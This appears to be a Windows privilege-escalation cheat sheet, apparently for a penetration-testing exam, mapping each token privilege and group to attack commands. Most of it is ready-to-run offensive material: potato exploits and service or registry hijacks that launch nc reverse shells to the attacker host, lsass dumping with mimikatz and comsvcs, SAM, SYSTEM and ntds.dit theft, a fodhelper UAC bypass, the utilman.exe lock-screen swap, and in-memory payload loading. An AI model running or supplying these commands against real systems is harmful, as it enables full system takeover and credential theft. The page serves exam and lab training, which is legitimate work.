Privileges & groups
Every line of whoami /priv, whoami /groups and id that changes what you do next — what it gives you, and the commands, from the box and from Kali
variables
Values live in this browser only — nothing is sent anywhere, and they are still here next time you open the page.
paste this into a fresh terminal
export lport=9001export workdir=.export userlist="$workdir/users.md"export passlist="$workdir/passwords.md"export rockyou=/usr/share/wordlists/rockyou.txtexport seclists=/usr/share/seclistsstart
read whoami /priv and whoami /groups together. The privilege says what the token can do, the group says why it has it, and the integrity line at the top says whether any of it is reachable right now
read the output [5]
Disabled next to a privilege does not mean you do not have it. It is in the token, and anything that needs it enables it itself. The ones that matter are below
whoami /privwhoami /groupswhoami /allwhoami /groups | findstr /i "mandatory"net localgroup administratorsMedium with Administrators in the group list is UAC in the way, not permissions — nothing below is needed, you need a shell that was never filtered. High is elevated. System is a service, or a potato that worked
# Mandatory Label\Medium Mandatory Level : a normal user, or a filtered admin. Check net localgroup administrators# Mandatory Label\High Mandatory Level : elevated. You are done — go and read the hives# Mandatory Label\System Mandatory Level : SYSTEM. Same# filtered admin? come back in unfiltered, from kali:evil-winrm -i $ip -u $user1 -p $pass1impacket-psexec "$user1:$pass1@$ip"every token carries SeChangeNotify and SeIncreaseWorkingSet. A desktop logon adds SeShutdown, SeUndock and SeTimeZone. None of them gets you anything — whoami /priv showing only those is a plain user
whoami /priv | findstr /v "SeChangeNotify SeIncreaseWorkingSet SeShutdown SeUndock SeTimeZone"every privilege and group that has no entry below is here, so a lookup still answers. None of these gets you anything on its own — if it is all whoami shows, the box wants a different route
# privileges — housekeeping the kernel grants services and admins, nothing to abuse:# SeAudit SeChangeNotify SeCreateGlobal SeCreatePagefile SeCreatePermanent SeCreateSymbolicLink# SeDelegateSessionUserImpersonate SeIncreaseBasePriority SeIncreaseQuota SeIncreaseWorkingSet# SeLockMemory SeProfileSingleProcess SeRelabel SeSystemEnvironment# SeSystemProfile SeSystemtime SeTimeZone SeUndock SeUnsolicitedInput# groups — kept for compatibility, grant nothing since Vista:# Power Users Guests Cryptographic Operators Replicator Performance Log Users Performance Monitor Users# Network Configuration Operators Schema Admins (if you are in it you are a domain admin already — check that)# Pre-Windows 2000 Compatible Access (why null-session and anonymous ldap work against the DC — an explanation, not a finding)most tools do this for you. When one does not — takeown or robocopy saying access denied with the privilege plainly there — enable it in the shell first
iex(iwr http://$lhost:8000/EnableAllTokenPrivs.ps1 -UseBasicParsing); whoami /priv# EnableAllTokenPrivs.ps1 — https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1which first [2]
the output usually has more than one. This is the order that costs the least
# SeImpersonate / SeAssignPrimaryToken : a potato. Five minutes, SYSTEM, nearly every service account# SeBackup : reg save the hives, secretsdump them. On a DC, ntds.dit through diskshadow# SeRestore / SeTakeOwnership : overwrite something SYSTEM runs — a service binary, or utilman.exe if you have a desktop# SeManageVolume : the exploit, then System32 is writable and it is SeRestore again# SeDebug : dump lsass, or spawn under winlogon and inherit SYSTEM# SeLoadDriver : capcom. Slow, needs compiling, last# Administrators + Medium label : UAC. Come back in over winrm or psexec# Backup Operators : SeBackup and SeRestore, and they can log on to the DC# Server Operators : change a service on the DC, start it, SYSTEM on the DC# DnsAdmins : a dll into dns.exe on the DC, SYSTEM on the DC# Account Operators : put yourself in DnsAdmins, or reset a service account's password# NT AUTHORITY\SERVICE, IIS APPPOOL\* : you are a service — SeImpersonate is almost certainly in the list# Remote Management / Remote Desktop Users : not a privesc. A way back in, which is sometimes all you neededprivileges
as whoami /priv lists them, A to Z — only the ones that are a route. The rest are one list under start
SeAssignPrimaryTokenPrivilege [1]exam: likely
replace the primary token of a process you create. Service accounts carry it next to SeImpersonate, and the same potatoes use whichever of the two they find
.\GodPotato-NET4.exe -cmd "cmd /c C:\Windows\Temp\nc.exe $lhost $lport -e cmd".\PrintSpoofer64.exe -c "C:\Windows\Temp\nc.exe $lhost $lport -e cmd"# the full set, and which potato for which windows, is under SeImpersonatePrivilegeSeBackupPrivilege [5]exam: possible
read any file whatever its ACL says, because backup software has to. The bypass only happens when the open asks for backup semantics, so type and copy still fail — reg save, robocopy /b and diskshadow ask for it
whoami /priv | findstr /i SeBackupwhoami /groups | findstr /i "Backup Operators"the two hives are enough for the local Administrator hash — pass it back in over smb or winrm
reg save HKLM\SAM C:\Windows\Temp\sam & reg save HKLM\SYSTEM C:\Windows\Temp\systemimpacket-secretsdump -sam sam -system system LOCALevil-winrm -i $ip -u Administrator -H <nt hash>robocopy copies by name, so you give it the directory and the file separately. Or the backup cmdlets, which are two dlls
robocopy /b C:\Users\Administrator\Desktop C:\Windows\Temp\x proof.txtrobocopy /b C:\Users\Administrator\.ssh C:\Windows\Temp\x id_rsaImport-Module .\SeBackupPrivilegeUtils.dll; Import-Module .\SeBackupPrivilegeCmdLets.dllSet-SeBackupPrivilege; Copy-FileSeBackupPrivilege C:\Users\Administrator\Desktop\proof.txt C:\Windows\Temp\proof.txt -Overwritethe file is locked, so it comes out of a shadow copy. diskshadow reads a script, and the script wants windows line endings. The SYSTEM hive comes with it or nothing decrypts
diskshadow
printf 'set context persistent nocheckers\nadd volume c: alias cdrive\ncreate\nexpose %%cdrive%% z:\n' | unix2dos > $workdir/.tools/shadow.dsh# on the DC:diskshadow /s C:\Windows\Temp\shadow.dshrobocopy /b z:\Windows\NTDS C:\Windows\Temp\x ntds.ditreg save HKLM\SYSTEM C:\Windows\Temp\x\system# back on kali:impacket-secretsdump -ntds ntds.dit -system system LOCALimpacket's reg backup writes the three hives to a share of yours, over the wire, as a Backup Operator. The local Administrator and the machine account come out of it — not the domain, that still wants ntds
impacket-smbserver x $workdir/loot -smb2supportimpacket-reg "$domain/$user1:$pass1@$dc" backup -o "\\\\$lhost\\x"impacket-secretsdump -sam $workdir/loot/SAM.save -system $workdir/loot/SYSTEM.save -security $workdir/loot/SECURITY.save LOCALSeCreateTokenPrivilege [1]exam: rare
make a token from nothing, with any groups in it — one holding the local Administrators SID. Needs code, and almost nothing but SYSTEM and lsass has it
# ZwCreateToken with a group list of your choosing, then CreateProcessAsUser with the result# a working PoC — https://github.com/decoder-it/CreateTokenExample — compile, run, cmd as the token# if you actually have this on a user token the box was built to be solved this way. Otherwise look at the rest of the list firstSeDebugPrivilege [4]exam: possible
open any process, including lsass and anything running as SYSTEM. Two uses — read lsass for the password and hash of everyone logged on, or spawn a child of a SYSTEM process and inherit its token. Administrators have it; some service accounts do
whoami /priv | findstr /i SeDebugcomsvcs.dll is on every box and is Microsoft's, so Defender lets it be. The dump comes back to kali and pypykatz reads it there
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\lsass.dmp fullcopy C:\Windows\Temp\lsass.dmp \\$lhost\share\pypykatz lsa minidump $workdir/loot/lsass.dmp.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exita new process whose parent is winlogon inherits winlogon's token. psgetsys.ps1 does the parent-process dance; mimikatz's token::elevate does it for its own process, which is enough to read the hives
.\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "lsadump::secrets" exitiex(iwr http://$lhost:8000/psgetsys.ps1 -UseBasicParsing); ImpersonateFromParentPid -ppid (Get-Process winlogon).Id -command C:\Windows\Temp\nc.exe -cmdargs "$lhost $lport -e cmd"# psgetsys.ps1 — https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1SeEnableDelegationPrivilege [1]exam: rare
set the delegation flags on accounts. Mark a computer you control as trusted for unconstrained delegation, or give an account constrained delegation to the DC, and then it is the usual delegation abuse. Granted on DCs to Administrators only, by default
# a user you control, constrained delegation to the DC's cifs, with protocol transition:Set-DomainObject -Identity $user1 -Set @{'msds-allowedtodelegateto'='cifs/$dc'}Set-DomainObject -Identity $user1 -Set @{'useraccountcontrol'=16777216}impacket-getST -spn cifs/$dc -impersonate Administrator "$domain/$user1:$pass1" -dc-ip $ip# the rest is AllowedToDelegate on the bloodhound pageSeImpersonatePrivilege [12]exam: likely
impersonate any client that authenticates to you — and a potato makes SYSTEM authenticate to you. Every service account has it, IIS and MSSQL included, which is why a web shell or xp_cmdshell so often ends in SYSTEM within five minutes. The most common windows privesc on the exam
they all make SYSTEM authenticate to a listener on the box itself, then use this privilege to take that token. They differ only in how they provoke SYSTEM, which is what decides which one works on which windows. Four checks pick the potato — the version, the .NET on the box, the spooler, and whether Defender is on
whoami /priv | findstr /i "impersonate assignprimary"systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"dir C:\Windows\Microsoft.NET\Framework64 # v2.0.50727, v3.5, v4.0.30319 — pick the potato build to matchGet-Service SpoolerGet-MpComputerStatus | select AntivirusEnabled,RealTimeProtectionEnabled# GodPotato : 2012 to 2022, 10 and 11. Needs nothing. The default pick# SigmaPotato : GodPotato with --revshell and in-memory loading. .NET 4# PrintSpoofer : 10 / 2016 / 2019, spooler running. One exe, no .NET# JuicyPotatoNG : 10 1809+ / 2019 / 2022. Needs local port 10247 free# JuicyPotato : 10 up to 1803 / 2016 / 2012 and older. Needs a CLSID for that OS. Dead on 1809+# RoguePotato : 10 1809+ / 2019, when the others are caught. Needs 135 forwarded back from your kali# EfsPotato : 2008 to 2022. One .cs file — compiles on the box with csc, so it gets past a download filterthe default. Three builds, one per .NET — NET4 on anything from 2012 R2 up, NET2 on 2008 and 2012. Catch the shell with the listener already up
# kali: curl -LO https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe (also -NET2, -NET35)iwr http://$lhost:8000/GodPotato-NET4.exe -OutFile C:\Windows\Temp\g.exeC:\Windows\Temp\g.exe -cmd "cmd /c whoami"C:\Windows\Temp\g.exe -cmd "cmd /c C:\Windows\Temp\nc.exe $lhost $lport -e cmd"GodPotato rebuilt with a reverse shell flag and a PowerShell loader, so it never has to touch the disk — which is what gets it past Defender when g.exe is eaten
# kali: curl -LO https://github.com/tylerdotrar/SigmaPotato/releases/latest/download/SigmaPotato.exe.\SigmaPotato.exe --revshell $lhost $lport.\SigmaPotato.exe "C:\Windows\Temp\nc.exe $lhost $lport -e cmd"# in memory, per its readme:[System.Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData('http://$lhost:8000/SigmaPotato.exe')) | Out-Null; [SigmaPotato]::Main("--revshell $lhost $lport")the spooler's named pipe. No .NET, one exe, instant — when the Spooler service is running, which it is on nearly every 10 / 2016 / 2019 image. -i gives you the shell in the same window when you already have an interactive one; -c when you do not
# kali: curl -LO https://github.com/itm4n/PrintSpoofer/releases/latest/download/PrintSpoofer64.exe (PrintSpoofer32.exe for a 32-bit box)Get-Service Spooler.\PrintSpoofer64.exe -i -c cmd.\PrintSpoofer64.exe -c "C:\Windows\Temp\nc.exe $lhost $lport -e cmd"the 2022 rewrite for the builds that killed JuicyPotato. It listens on 10247 by default; if that is taken, -l picks another. -t * tries both CreateProcessWithToken and CreateProcessAsUser
# kali: curl -LO https://github.com/antonioCoco/JuicyPotatoNG/releases/latest/download/JuicyPotatoNG.zip && unzip -o JuicyPotatoNG.zipnetstat -ano | findstr 10247.\JuicyPotatoNG.exe -t * -p "C:\Windows\Temp\nc.exe" -a "$lhost $lport -e cmd".\JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c net localgroup administrators $user1 /add"the original. It needs a CLSID of a DCOM server that runs as SYSTEM on that exact windows, and the list on its site is sorted by version. Try two or three until one says [+] authresult 0. Nothing after 10 1803 and 2019 — go up a card
# kali: curl -LO https://github.com/ohpe/juicy-potato/releases/latest/download/JuicyPotato.exe (32-bit: github.com/ivanitlearning/Juicy-Potato-x86)# CLSIDs: http://ohpe.it/juicy-potato/CLSID/ — pick the page for the OS. 2016 and 10: {e60687f7-01a1-40aa-86ac-db1cbf673334} is the one that usually works.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\nc.exe $lhost $lport -e cmd" -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net localgroup administrators $user1 /add" -t * -c {4991d34b-80a1-4291-83b6-3328366b9097}JuicyPotato with the part windows blocked moved to your kali — the box asks your 135 where the DCOM server is, and socat points it back at the box. So it needs a route from the box to you on 135, which the exam network has
# kali: curl -LO https://github.com/antonioCoco/RoguePotato/releases/latest/download/RoguePotato.zip && unzip -o RoguePotato.zipsudo socat tcp-listen:135,reuseaddr,fork tcp:$ip:9999# on the box:.\RoguePotato.exe -r $lhost -l 9999 -e "C:\Windows\Temp\nc.exe $lhost $lport -e cmd"PetitPotam's EFS trigger, pointed at the box itself. It is one C# file, and every windows has the .NET compiler in it — so when nothing you upload survives Defender, the source goes up as text and the exe is born on the box. Pick the csc that matches the .NET folder you saw above
# kali: curl -LO https://raw.githubusercontent.com/zcgonvh/EfsPotato/master/EfsPotato.csiwr http://$lhost:8000/EfsPotato.cs -OutFile C:\Windows\Temp\e.csC:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /nowarn:1691,618 /out:C:\Windows\Temp\e.exe C:\Windows\Temp\e.csC:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe /nowarn:1691,618 /out:C:\Windows\Temp\e.exe C:\Windows\Temp\e.cs # .NET 3.5 boxesC:\Windows\Temp\e.exe "C:\Windows\Temp\nc.exe $lhost $lport -e cmd"when a release is gone or Defender knows its hash. C# projects need windows and Visual Studio — build on a windows VM, or take a prebuilt one from SharpCollection. C projects cross-compile on kali. Changing a string or two in the source is often enough for a fresh hash
# C — PrintSpoofer, RoguePotato, JuicyPotato are C++ and want Visual Studio; mingw does plain C only:x86_64-w64-mingw32-gcc tool.c -o tool.exe -lws2_32# C# single file — EfsPotato, or any one-file .cs — on kali without windows:sudo apt install -y mono-mcs && mcs -out:tool.exe tool.cs# C# with a .sln — GodPotato, SigmaPotato, JuicyPotatoNG: windows VM, Visual Studio, Build > Release. Or:# https://github.com/Flangvik/SharpCollection — prebuilt .NET tools, per framework version, rebuilt nightly# whoami /priv does not actually list SeImpersonate — a hardened service. Services, tasks and creds instead# the box is 32-bit — the 64 binaries fail silently. PrintSpoofer32, Juicy-Potato-x86# Defender ate it — SigmaPotato in memory, or EfsPotato compiled on the box, or rename and recompile# the shell dies before you see output — write it to a file: -cmd "cmd /c whoami > C:\Windows\Temp\o.txt"# the potato says it worked and nothing connects — the firewall blocks the outbound port; try 443, or add a user and come back in over winrmno interactive shell needed — the potato is the shell. Quote the inner command once for the potato and once for whatever you are typing into
xp_cmdshell "C:\Windows\Temp\GodPotato-NET4.exe -cmd \"C:\Windows\Temp\nc.exe $lhost $lport -e cmd\""curl -s "http://$ip/shell.aspx?c=C:\Windows\Temp\GodPotato-NET4.exe+-cmd+%22C:\Windows\Temp\nc.exe+$lhost+$lport+-e+cmd%22"you are SYSTEM. Proof, then the hives, then a domain credential if the box is joined — the machine account is one
type C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfig.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "lsadump::sam" exitreg save HKLM\SAM C:\Windows\Temp\sam & reg save HKLM\SYSTEM C:\Windows\Temp\system & reg save HKLM\SECURITY C:\Windows\Temp\securitySeLoadDriverPrivilege [1]exam: rare
load a kernel driver. Drivers must be signed, so you load Capcom.sys — signed, and it runs whatever shellcode you hand it. Print Operators have this on DCs, which is the only place it turns up for a user
two binaries to build — EoPLoadDriver registers the driver under HKCU and loads it, ExploitCapcom talks to it. ExploitCapcom launches cmd.exe on the desktop by default; edit it to run your nc line before compiling, since you rarely have a desktop
# Capcom.sys, EoPLoadDriver, ExploitCapcom — github: FuzzySecurity/Capcom-Rootkit, TarlogicSecurity/EoPLoadDriver, tandasat/ExploitCapcom.\EoPLoadDriver.exe System\CurrentControlSet\MyService C:\Windows\Temp\Capcom.sys.\ExploitCapcom.exe# the driver stays loaded until reboot; the key does not clean itself upreg delete HKCU\System\CurrentControlSet\MyService /fSeMachineAccountPrivilege [1]exam: none
add computers to the domain. Every authenticated user has it, ten times over — MachineAccountQuota. Not a privesc; it is what makes resource-based constrained delegation possible when something lets you write to a computer object
nxc ldap $dc -u $user1 -p $pass1 -M maqimpacket-addcomputer "$domain/$user1:$pass1" -computer-name 'FAKE01$' -computer-pass 'FakePass123!' -dc-ip $ip# then AddAllowedToAct, or GenericWrite on a computer, on the bloodhound pageSeManageVolumePrivilege [3]exam: possible
volume maintenance tasks, which the exploit turns into full control of C:\ for everyone. After it, System32 is yours to write — so it is SeRestorePrivilege by another route. Granted to a user when something needed to defragment or set up a database
whoami /priv | findstr /i SeManageVolumeone binary, no arguments. Check the ACL on C:\ afterwards — Users should now show (F)
.\SeManageVolumeExploit.exeicacls C:\ | findstr /i "users everyone"icacls C:\Windows\System32 | findstr /i "users everyone"the same moves as SeRestorePrivilege. A service binary, or utilman.exe if you have the lock screen. The printconfig route makes the spooler load your dll as SYSTEM without a desktop
# a service running as SYSTEM that you can restart, whose binary is now writable:sc qc <service> | findstr BINARY_PATH_NAMEcopy /y C:\Windows\Temp\svc.exe "C:\path\to\service.exe" & sc stop <service> & sc start <service># or the spooler — it loads this dll as SYSTEM when a print notification object is created:copy /y C:\Windows\Temp\evil.dll C:\Windows\System32\spool\drivers\x64\3\PrintConfig.dll$t=[Type]::GetTypeFromCLSID("{854A20FB-2D44-457D-992F-EF13785D2B51}"); $o=[Activator]::CreateInstance($t); $o.Open()SeRemoteShutdownPrivilege [1]exam: none
reboot the box from the network. The one use is the same as SeShutdown — a service you repointed that is set to start automatically, which you cannot restart yourself
shutdown /r /t 0 /m \\$ipSeRestorePrivilege [4]exam: possible
write any file whatever its ACL says, for the same reason SeBackup can read it. The bypass needs the open to ask for restore semantics, so plain copy fails — robocopy /b asks, and the registry route sidesteps files altogether. Overwrite something SYSTEM runs
whoami /priv | findstr /i SeRestoreSeRestoreAbuse points the seclogon service's ImagePath at your command and starts it. No desktop needed, nothing on disk changes
.\SeRestoreAbuse.exe "C:\Windows\Temp\nc.exe $lhost $lport -e cmd"# https://github.com/xct/SeRestoreAbuserobocopy copies by name into a directory, so stage the file under the name it has to land as. A service binary and a restart, or utilman.exe and the lock screen if you have rdp
copy C:\Windows\Temp\svc.exe C:\Windows\Temp\x\service.exerobocopy /b C:\Windows\Temp\x "C:\path\to" service.exesc stop <service> & sc start <service># the lock screen route:copy C:\Windows\System32\cmd.exe C:\Windows\Temp\x\utilman.exerobocopy /b C:\Windows\Temp\x C:\Windows\System32 utilman.exe# lock the screen, click ease of access (or Win+U) — cmd as SYSTEMthe privilege is there but disabled in this token, and robocopy does not enable it. Enable the lot
iex(iwr http://$lhost:8000/EnableAllTokenPrivs.ps1 -UseBasicParsing); whoami /priv | findstr /i SeRestoreSeSecurityPrivilege [1]exam: rare
manage the security log — read it and clear it. Process creation events carry the command line when that audit is on, and people type passwords on command lines
wevtutil qe Security /q:"*[System[(EventID=4688)]]" /f:text /rd:true | findstr /i "Process Command Line"Get-WinEvent -FilterHashtable @{LogName='Security';Id=4688} | % { $_.Properties[8].Value } | findstr /i "pass user net"Get-WinEvent -FilterHashtable @{LogName='Security';Id=4624} | select -First 20 TimeCreated,@{n='user';e={$_.Properties[5].Value}}SeShutdownPrivilege [1]exam: none
reboot. Not a privesc — but when you have repointed a service that is set to start automatically and cannot restart it, a reboot restarts it for you
whoami /priv | findstr SeShutdown && shutdown /r /t 0SeSyncAgentPrivilege [1]exam: rare
synchronise directory service data — the right to read every object for replication, which is to say a DCSync-shaped read. Nobody has it by default, so if a user does, the box put it there
impacket-secretsdump "$domain/$user1:$pass1@$dc" -just-dc-ntlmSeTakeOwnershipPrivilege [3]exam: possible
take ownership of any object, and an owner can rewrite the ACL. Two commands to own any file, then it is a plain overwrite of something SYSTEM runs
whoami /priv | findstr /i SeTakeOwnershipa service binary and a restart. Or utilman.exe and the lock screen when you have rdp — that leaves the lock screen broken, so put it back after
takeown /f "C:\path\to\service.exe" && icacls "C:\path\to\service.exe" /grant %USERNAME%:Fcopy /y C:\Windows\Temp\svc.exe "C:\path\to\service.exe" & sc stop <service> & sc start <service># the lock screen route:takeown /f C:\Windows\System32\utilman.exe && icacls C:\Windows\System32\utilman.exe /grant %USERNAME%:Fcopy /y C:\Windows\System32\utilman.exe C:\Windows\Temp\utilman.bak & copy /y C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe# lock the screen, Win+U — cmd as SYSTEM. Afterwards: copy /y C:\Windows\Temp\utilman.bak C:\Windows\System32\utilman.exethe same idea against a service's ImagePath when the binary is somewhere you cannot reach — take ownership of the key, grant yourself, point it at your command
$k='HKLM:\SYSTEM\CurrentControlSet\Services\<service>'; $a=Get-Acl $k; $a.SetOwner([System.Security.Principal.NTAccount]$env:USERNAME); Set-Acl $k $a$a=Get-Acl $k; $a.AddAccessRule((New-Object System.Security.AccessControl.RegistryAccessRule($env:USERNAME,'FullControl','Allow'))); Set-Acl $k $areg add "HKLM\SYSTEM\CurrentControlSet\Services\<service>" /v ImagePath /t REG_EXPAND_SZ /d "C:\Windows\Temp\nc.exe $lhost $lport -e cmd" /fsc stop <service> & sc start <service>SeTcbPrivilege [1]exam: rare
act as part of the operating system — the privilege lsass uses to make tokens. A process with it can log any user on without a password and add groups to the result. Nothing but SYSTEM has it by default; a user with it is the whole box
# LsaLogonUser with an S4U logon for Administrator, the local Administrators SID added to the token, then CreateProcessWithToken# a working PoC in C# — https://github.com/decoder-it/SeTcbPrivilege — compile, run, cmd as SYSTEM# practical: anything that has SeTcb has SeDebug and SeImpersonate too. Use those first, they need no compilerSeTrustedCredManAccessPrivilege [1]exam: rare
read the Credential Manager as a trusted caller — the saved rdp, web and network passwords of every user on the box, without their master key. Nothing has it by default
# PrivFu has a PoC that backs every user's credentials up to a file — github: daem0nc0re/PrivFu, PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC.\SeTrustedCredManAccessPrivilegePoC.exe C:\Windows\Temp\creds.bin# the README there says how to read the backup. The quicker check is whether cmdkey /list already shows something as youlocal
the integrity label, the logon identities and the BUILTIN groups, as whoami /groups lists them. The label at the top decides more than anything under it
Mandatory Label\Medium Mandatory Level [4]exam: likely
a normal user's token — or an administrator's, filtered by UAC. If BUILTIN\Administrators is further down the same list, nothing on this page is needed. You are an admin whose shell was never elevated
whoami /groups | findstr /i "mandatory administrators"net localgroup administratorsnetwork logons for domain accounts and for the built-in Administrator are not filtered. Any other local account is filtered remotely too, unless LocalAccountTokenFilterPolicy is set — which an elevated shell can do
evil-winrm -i $ip -u $user1 -p $pass1impacket-psexec "$domain/$user1:$pass1@$ip"impacket-wmiexec "$user1:$pass1@$ip"reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /fneeds an interactive session — a desktop, or a shell spawned from one. fodhelper auto-elevates and reads its command from a key you can write. Put the key back after
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /freg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /t REG_SZ /d "C:\Windows\Temp\nc.exe $lhost $lport -e cmd" /ffodhelper.exereg delete HKCU\Software\Classes\ms-settings /fa task created with explicit credentials runs with a whole token, filtered or not
schtasks /create /tn x /tr "C:\Windows\Temp\nc.exe $lhost $lport -e cmd" /sc once /st 00:00 /ru $user1 /rp $pass1 /rl highest /f & schtasks /run /tn xMandatory Label\High Mandatory Level [1]exam: likely
elevated. UAC is behind you and the token is whole. Nothing on this page is needed — read the hives, take the proof
type C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfigreg save HKLM\SAM C:\Windows\Temp\sam & reg save HKLM\SYSTEM C:\Windows\Temp\system & reg save HKLM\SECURITY C:\Windows\Temp\security.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" exitMandatory Label\System Mandatory Level [1]exam: likely
SYSTEM, or a service running as it. Same as High — and if the box is domain-joined, the machine account is a domain credential now
type C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfig.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "lsadump::sam" "lsadump::secrets" exit# the machine account — enumerate the domain and roast as the computer:.\SharpHound.exe -c All.\Rubeus.exe kerberoast /nowrapMandatory Label\Low Mandatory Level [1]exam: rare
a sandboxed token — a browser's renderer, a service made to drop its label. It cannot write to most of its own profile, never mind the system, so nothing on this page works from here. The move is a shell that was not born in the sandbox
# a new logon is a new token. Any credential you hold, from outside:evil-winrm -i $ip -u $user1 -p $pass1xfreerdp /v:$ip /u:$user1 /p:$pass1 /cert:ignore# what the sandbox can still write to, for parking a file:echo %TEMP%\LowNT AUTHORITY\INTERACTIVE [1]exam: none
a desktop or rdp logon. The tricks that need a desktop are available — runas, saved credentials, the uac bypasses, the lock-screen swap
cmdkey /listrunas /savecred /user:$domain\$adminu "C:\Windows\Temp\nc.exe $lhost $lport -e cmd"# Mandatory Label\Medium, above, for fodhelperNT AUTHORITY\NETWORK [1]exam: none
you came in over the network — winrm, smb, a web shell. No desktop, so nothing that needs one. Everything else works, and for an admin account the token is already unfiltered
# no runas, no fodhelper, no utilman. Potatoes, services, tasks and the hives are all finewhoami /privNT AUTHORITY\SERVICE [1]exam: likely
you are a service account — a web shell under IIS, xp_cmdshell under MSSQL, a scheduled task. SeImpersonatePrivilege is almost certainly in whoami /priv, and that is a potato away from SYSTEM
whoami /priv | findstr /i impersonate.\GodPotato-NET4.exe -cmd "cmd /c C:\Windows\Temp\nc.exe $lhost $lport -e cmd"# the full set is under SeImpersonatePrivilegeNT AUTHORITY\NETWORK SERVICE, NT AUTHORITY\LOCAL SERVICE [2]exam: likely
the two built-in service identities. Both normally carry SeImpersonate, so it is the potato again. The difference is what they are to the network — NETWORK SERVICE authenticates as the machine account, which on a joined box is a domain credential; LOCAL SERVICE authenticates as nobody
whoami /priv | findstr /i impersonate.\GodPotato-NET4.exe -cmd "cmd /c C:\Windows\Temp\nc.exe $lhost $lport -e cmd"a hardened service can have it stripped. Then it is the ordinary route — what does this identity own, write to, or run
.\accesschk.exe /accepteula -uwcqv "NETWORK SERVICE" *.\accesschk.exe /accepteula -uwdq "NETWORK SERVICE" C:\.\accesschk.exe /accepteula -uwdq "LOCAL SERVICE" C:\NT SERVICE\MSSQLSERVER, NT SERVICE\MSSQL$INSTANCE [2]exam: likely
a virtual service account — the database engine itself. This is the xp_cmdshell shell. SeImpersonate is in the token, and the potato runs straight from xp_cmdshell, no interactive shell needed
xp_cmdshell "whoami /priv | findstr /i impersonate"xp_cmdshell "powershell -c iwr http://$lhost:8000/GodPotato-NET4.exe -OutFile C:\Windows\Temp\g.exe; iwr http://$lhost:8000/nc.exe -OutFile C:\Windows\Temp\nc.exe"xp_cmdshell "C:\Windows\Temp\g.exe -cmd \"C:\Windows\Temp\nc.exe $lhost $lport -e cmd\""whoami says DOMAIN\svc_sql rather than NT SERVICE — then it is a real account, its password is in LSA secrets, and it may be admin elsewhere
# once SYSTEM here:.\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::secrets" exitnxc smb $subnet -u svc_sql -p '<from _SC_MSSQLSERVER>'NT AUTHORITY\REMOTE INTERACTIVE LOGON, CONSOLE LOGON, NT AUTHORITY\BATCH [1]exam: none
how this session started, not what it can do. REMOTE INTERACTIVE is rdp and CONSOLE LOGON the keyboard — both are desktops, so everything under INTERACTIVE applies. BATCH is a scheduled task — you are inside something that runs on a timer, as whoever it was set to run as
# rdp or console : fodhelper, runas, saved credentials and the lock-screen swap are all available# batch : no desktop. Find the task — it says who you are, and when you run againschtasks /query /fo LIST /v | findstr /i "TaskName Run Task"NT AUTHORITY\NTLM Authentication, Kerberos Authentication, This Organization [1]exam: none
how the logon was proved. NTLM Authentication means the box took a password or a hash over the network — pass-the-hash works here. Kerberos Authentication means there is a TGT in this session, which goes wherever NTLM is refused. This Organization is every domain logon and says nothing
klist.\Rubeus.exe triageNT AUTHORITY\Local account and member of Administrators group [1]exam: possible
this exact line means you are a local administrator who logged on from the network and got a filtered token — remote UAC. Only the built-in Administrator escapes it. Come in as RID 500, or get the policy changed from a session that is not filtered
# as the built-in Administrator, if you have that credential:evil-winrm -i $ip -u Administrator -p $adminp# from any elevated session on the box:reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f# or an interactive logon — rdp — and then the Medium label entry above:xfreerdp /v:$ip /u:$user1 /p:$pass1 /cert:ignoreIIS APPPOOL\DefaultAppPool [1]exam: likely
the web server's identity, so this is a web shell. It has SeImpersonate — potato. And the web root is writable by it, so the shell survives whatever else you do
whoami /priv | findstr /i impersonate.\GodPotato-NET4.exe -cmd "cmd /c C:\Windows\Temp\nc.exe $lhost $lport -e cmd"icacls C:\inetpub\wwwroot | findstr /i "apppool iis_iusrs"# the app's own config has the database password:type C:\inetpub\wwwroot\web.config | findstr /i "connectionString password"BUILTIN\IIS_IUSRS [1]exam: likely
the group every app-pool identity is put in. Seeing it means this is a web shell whatever the user name above it says, and it is the name to look for in icacls on the web root, which is usually writable to it
whoami /priv | findstr /i impersonateicacls C:\inetpub\wwwroot | findstr /i "iis_iusrs apppool"# the rest is under IIS APPPOOL\DefaultAppPool and SeImpersonatePrivilegeBUILTIN\Administrators [1]exam: likely
local admin. With a High or System label you are done. With Medium, UAC filtered this token and the fix is a shell that was never filtered — the Medium label entry. Nothing else on this page applies to you
whoami /groups | findstr /i mandatory# Medium — come back in:evil-winrm -i $ip -u $user1 -p $pass1# High or System — done:type C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfigBUILTIN\Backup Operators [4]exam: possible
